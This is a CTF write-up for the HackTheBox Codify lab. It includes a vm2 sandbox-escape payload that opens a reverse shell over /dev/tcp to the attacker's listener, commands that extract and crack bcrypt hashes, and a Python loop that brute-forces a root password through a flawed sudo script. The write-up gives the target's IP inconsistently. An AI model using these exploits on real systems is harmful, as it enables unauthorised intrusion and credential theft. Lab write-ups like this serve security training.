Post

HackTheBox Codify Writeup

Dive into the HackTheBox Codify Capture The Flag (CTF) challenge, an easy-level adventure focused on web vulnerabilities, remote code execution (RCE), and privilege escalation. This concise writeup provides step-by-step guidance to help you build your Linux hacking skills.

Add Hosts

Edit the /etc/hosts file and add the following entries:

1
10.10.11.239 codify.htb

This ensures that your system can resolve the domain names codify.htb to the correct IP address 10.10.11.242.

Script to add hosts automatically

1
2
3
ip="10.10.11.239"
domain="codify.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV codify.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-12 12:01 CEST
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Remote Code Execution (RCE)

gist

To exploit the editor feature on codify.htb, perform a remote code execution (RCE):

Run a listener to catch the reverse shell:

1
nc -lvnp 9001

Run in your terminal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
attackerip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
echo -e "\nSimply go on http://codify.htb and run the following\n"
cat <<EOF
const { VM } = require("vm2");
const vm = new VM();
const code = \`
    const err = new Error();
    err.name = {
        toString: new Proxy(() => "", {
            apply(target, thiz, args) {
                const process = args.constructor.constructor("return process")();
                throw process.mainModule.require("child_process")
                    .execSync("/bin/bash -c 'bash -i >& /dev/tcp/$attackerip/9001 0>&1'");
            },
        }),
    };
    try {
        err.stack;
    } catch (stdout) {
        stdout;
    }
\`;
console.log(vm.run(code));
EOF

Once the reverse shell connects, execute:

1
strings /var/www/contact/tickets.db | grep -oP '\$2[ayb]\$[0-9]+\$[./A-Za-z0-9]{53}'

Brute Force the Hash

Use an hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 3200 /tmp/hash.txt --show
rm -rf /tmp/hash.txt

SSH into the Target

With the cracked password, log in via SSH:

1
2
ssh joshua@codify.htb
cat /home/joshua/user.txt

Privilege Escalation

Start the Python interpreter in the ssh session of joshua:

1
python3

and in the repl run

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
    for character in all:
        command = f"echo \'{password}{character}*\' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
        exit()
1
2
 su
 cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.